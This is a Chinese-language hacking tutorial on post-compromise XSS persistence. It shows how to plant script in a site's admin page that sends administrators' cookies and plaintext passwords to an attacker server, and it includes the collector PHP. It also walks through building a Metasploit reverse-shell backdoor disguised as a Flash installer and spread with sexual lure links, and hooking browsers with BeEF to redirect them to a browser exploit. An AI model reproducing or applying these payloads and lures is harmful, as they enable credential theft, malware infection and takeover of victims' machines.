目录
XSS的分类
XSS跨站-后台植入Cookie&表单劫持
【例1】:利用beef或xss平台实时监控Cookie等凭据实现权限维持
【例2】:XSS-Flash钓鱼配合MSF捆绑上线
【例3】:XSS-浏览器网马配合MSF访问上线
XSS的分类
反射型(非持久型)
存储型(持久型)
DOM型
MXSS(突变型XSS)
UXSS(通用型xss)
Flash XSS
上面这部分在上两篇文章讲过
UTF-7 XSS、MHTML XSS、CSS XSS、VBScript XSS,这几个基本上是淘汰的了,IE8之前才会受影响,没什么价值
XSS跨站-后台植入Cookie&表单劫持
- 条件:已经取得了web权限,要对后台的权限进行长期控制
1. 可以借助xss盗取cookie,把它写入到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持,这种方法即使管理员把后台账号密码改了,或者把后门删除了,也可以进行权限维持。(因为是插入的是xss-JavaScript语句,不会被后门工具识别)
2. 若存在同源策略或防护情况下,cookie获取失败或者密文密码解密不了,可以采用表单劫持或者通过数据明文传输来实现;
【例1】:利用beef或xss平台实时监控Cookie等凭据实现权限维持
1. 通过xxs平台或beef实时获取登录cookie
登录的框页面http://127.0.0.1:8105/admin/login/login.php
登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php里面,管理员进行登录时,就可以实时触发到xss平台或者BeEF获取到相关登录信息。
① 将跨站代码写入admin/index.php:
②成功登录网站后台
③打开beef,就可看到该主机已上线
可以观察到,他加载的数据包的内容
这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。
但是有一些网站不采用cookie,或者获取到的cookie不全,但是还是不能登录。
正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改
有时候xss平台获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (或者有防护httponly等)
那么就进行实时截取明文账号密码,这样才能进行权限维持。需要一定的代码基础,能读懂数据的传输流程。
2. 实时截取明文账号密码
主要解决两个问题: 1.cookie失败的时候(截取不到); 2.取得一些权限,密码解密不了
① 观察这个网站的登录流程是怎样的: 登录地址http://127.0.0.1:8105/admin/login/login.php 找到相对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包
可以看到,他提交的数据包(账号、密码)是发送给了login_check.php文件
action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察login_check.php
接受账号密码的变量: 接受账号:$metinfo_admin_name 接受密码:$metinfo_admin_pass
② JavaScript语句将账号和密码进行发送:通过get.php来实现接收
<script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>
在PHP中,JavaScript语句通过变量($up)来接收,构造payload:
$up='<script src=http://47.94.236.117/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>';
echo $up;
③ 在自己的服务器47.94.236.117,新建get.php,用于接收账号密码,并写到newfile文件中
<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile=fopen("newfile.txt","a+");
fwrite($myfile,$u); fwrite($myfile,'|');
fwrite($myfile,$p);
fwrite($myfile,'\n');
fclose($myfile);
?>
然后尝试登录这个网站中,可以看到他尝试请求http://47.94.236.117/web/get.php这个网站,把admin和password发送出
get.php接收到到的账号密码,就会保存到newfile中记录,这个时候就可以进行测试了。
【例2】:XSS-Flash钓鱼配合MSF捆绑上线
-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)
① 生成后门,攻击pc端的:利用msf工具
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe
② 模仿flash下载官方地址(https://www.flash.cn/ )做出本地页面:http://127.0.0.1:8081/ (构造一个相似域名的网址,更逼真)
③ 把后门放在D:\phpstudy_pro\WWW\web\目录,比如,index.html文件,
把“立即下载”链接的地址改为后门下载地址:http://127.0.0.1:8081/web/flash.exe
运行后门exe并且安装正常的文件,所以需要捆绑正常文件, 在官方网站下载一个正常的flash文件
正常文件:flashcenter_pp_ax_install_cn.exe
后门文件:flash.exe
把两个文件放在一起,压缩
选择高级,自解压选项,解压到c:\windows\tmp
点击设置:解压前运行后门文件
在确定,压缩为rar文件,然后把文件名改成flash_install.exe,再把文件的图标进行修改。
图标修改用到Restorator2018_Full_1793_FIX工具,图片可以从官方的安装包中导出,然后再把它替换到我们创建的exe中
启动msf监听: msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0 //绑定本地的任意网卡
set lport 1111 //设置监听本地的1111端口
run //开启监听
那个别人是怎么访问你这个地址呢?
1.通过xss beef来让浏览器自动跳转到下载后门的地址,并且运行
2.直接发给对方诱使他去访问。 通过发送消息,比如小迪与某主播瑟瑟画面流出:http://127.0.0.1:8081/web/诱惑.html 当访问者点击“播放按钮”,提示下下载FLASH,当对方安装flash时,后门执行,等待其上线
上线后,可以获取到对方的服务器信息
执行命令getuid、shell、whoami 等
这一类遇到的问题:免杀问题(后门下载下来会遭到火绒等查杀)
【例3】:XSS-浏览器网马配合MSF访问上线
-条件:beef上线受控后或直接钓鱼(浏览器存在0day) 配合漏洞CVE-2019-1367,这个版本是IE11的漏洞,但是没有公开exp。
参考文章:https://www.cnblogs.com/yuzly/p/11609934.html
漏洞CVE-2020-1380:https://bbs.pediy.com/thread-263885.htm
但是前面的漏洞并没有公开,所以只能用到ms14_064这个漏洞,参考https://blog.csdn.net/wylululu/article/details/103868759 用的是Windows7这个版本的IE,在当前的网络环境中就很少他了。
1、配置MSF生成URL use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run
运行就会生成一个网码地址(http://47.100.167.248:8080/9gwKDtliqQz ),这个地址只要一访问就会被触发。但是这个地址只针对window7/window xp操作系统的IE浏览器访问
使用kali搭建的msf:
只要访问这个地址,就可以直接拿下服务器权限。还需要用满足的浏览器和Windows版本。 内核,操作系统,还有杀毒软件,都会导致失败。要懂得前提条件,不是只要访问就可以上线。
那么他在xss中如何实现呢?
在beef中启动:docker run --rm -p 3000:3000 janes/beef
登录beef:47.100.167.248:3000/ui/panel
构造代码:<script src=http://47.100.167.248:3000/hook.js></script> 把代码放在自己网站上,比如,我的博客上(或者本地网站上)的test.html,只要对方访问192.168.199.1:8081/web/test.html,在beef就可以看到对方上线,
在beef上,利用浏览器跳转功能,自动跳转访问到msf生成的访问地址
然后就可以监控到对方上线,完成测试。